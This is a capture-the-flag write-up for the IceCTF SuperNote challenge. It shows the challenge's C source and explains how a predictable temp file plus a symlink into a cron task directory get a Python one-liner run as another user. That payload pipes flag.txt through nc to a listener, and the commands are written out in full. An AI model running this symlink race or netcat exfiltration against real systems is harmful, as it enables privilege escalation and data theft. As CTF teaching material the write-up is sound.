    CURLcode res;
    char buf[1024];
    snprintf(buf, sizeof(buf), "email=%s&name=%s&msg=%s", email, name, msg);

    curl_global_init(CURL_GLOBAL_ALL);

    curl = curl_easy_init();
    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "http://web2015.icec.tf/supernote/index.php");
        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, buf);

        res = curl_easy_perform(curl);
        if(res != CURLE_OK) {
            fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
            exit(1);
        }

        curl_easy_cleanup(curl);
    }
    curl_global_cleanup();
}
void write_note(char *fname, char *str) {
    FILE *fd = fopen(fname, "w");
    fputs(str, fd);
    fclose(fd);

    // Test version, keep things clean
    unlink(fname);
}
int main(int argc, char **argv){
    char email[80];
    char name[80];
    char contents[500]; // That's a bit much, don't you think?
    char *ptr;
    char *tmpfile = get_temp();
    printf("Welcome to SuperNote v1.1.1.1.1.1.1.1.1.1. We're still in beta, so please excuse some bugs.\n");
    printf("Please enter your email address: ");
    fgets(email, sizeof(email), stdin);
    email[sizeof(email)-1] = '\0';
    email[strlen(email)-1] = '\0';
    printf("Please enter your name: ");
    fgets(name, sizeof(name), stdin);
    name[sizeof(name)-1] = '\0';
    name[strlen(email)-1] = '\0';
    printf("Enter the note that you would like to save: ");
    fgets(contents, sizeof(contents), stdin);
    
    // Validate the email securely
    int i=0;
    ptr = strtok(email, "@");
    while(ptr != NULL) {
        i++;
        ptr = strtok(NULL, "@");
    }
    if(i != 2){
        fprintf(stderr, "Invalid email!\n");
        exit(1337); // huehue
    }
    if(strcmp(name,"Josh\n") == 0) {
        fprintf(stderr, "Go away Josh\n");
        exit(1);
    }

    upload_note(email, name, contents);

    write_note(tmpfile, contents);

    printf("Note saved locally.\n");
    return 0;
}

There are few things I noticed in this task. First thing is supernote tempfile path is known long before it’s used and file is opened and unlinked after note is being written by user. Unlink does not affect files under symbolic links so when file is opened and written it won’t get deleted. Second thing is format of the executed supernote, it needs to be .task file with python code.

My first idea was to steal other team’s flag using cron logfile but it appeared it’s not real cron that we had to deal with. It’s just a sh script executed every minute.

[ctf-8535@icectf-shell /home/supernote]$ tail /var/log/cron
Aug 19 20:14:02 icectf-shell CROND[19469]: (root) CMD (su supernote -c /usr/local/etc/supernote/supernote.sh)
Aug 19 20:15:01 icectf-shell CROND[19579]: (root) CMD (su supernote -c /usr/local/etc/supernote/supernote.sh)
Aug 19 20:16:02 icectf-shell CROND[19683]: (root) CMD (su supernote -c /usr/local/etc/supernote/supernote.sh)
Aug 19 20:17:01 icectf-shell CROND[20311]: (root) CMD (su supernote -c /usr/local/etc/supernote/supernote.sh)
Aug 19 20:18:02 icectf-shell CROND[20956]: (root) CMD (su supernote -c /usr/local/etc/supernote/supernote.sh)
Aug 19 20:19:02 icectf-shell CROND[21592]: (root) CMD (su supernote -c /usr/local/etc/supernote/supernote.sh)
Aug 19 20:20:02 icectf-shell CROND[22265]: (root) CMD (su supernote -c /usr/local/etc/supernote/supernote.sh)
Aug 19 20:21:02 icectf-shell CROND[22767]: (root) CMD (su supernote -c /usr/local/etc/supernote/supernote.sh)
Aug 19 20:22:02 icectf-shell CROND[22878]: (root) CMD (su supernote -c /usr/local/etc/supernote/supernote.sh)
Aug 19 20:23:02 icectf-shell CROND[23283]: (root) CMD (su supernote -c /usr/local/etc/supernote/supernote.sh)

Solution:
Because cron script is executed every minute player needs to act fast. I opened multiple terminals and prepared commands to execute on them.
In terminal 1 I started nc to listen on port 1337.

nc -l -p 1337

In terminal 2 I prepared command to create symbolic link. (file name – ctf1_EPWiJc – was filled in later).

ln -s /home/supernote/cron.d/0002.task /home_users/homedir/ctf1_EPWiJc

In terminal 3 I started supernote application and redirected stderr to stdout. From hint we knew that task needs to be python script so I created one-liner to keep it simple for copy-pasting.

./supernote 2>&1
Temporary file is /home_users/homedir/ctf1_EPWiJc
Welcome to SuperNote v1.1.1.1.1.1.1.1.1.1. We're still in beta, so please excuse some bugs.
Please enter your email address: krzywix@domain.pl
Please enter your name: fsd
Enter the note that you would like to save: __import__('os').system("cat /home/supernote/flag.txt | nc 127.0.0.1 1337")
Note saved.
Note saved locally.

Action in terminal 2 was performed right after I got the name of the file from terminal 3. When I created link I submitted note (python script) and flag popped up on terminal 1.

Flag: flag_keep_your_files_close_and_your_tempfiles_closer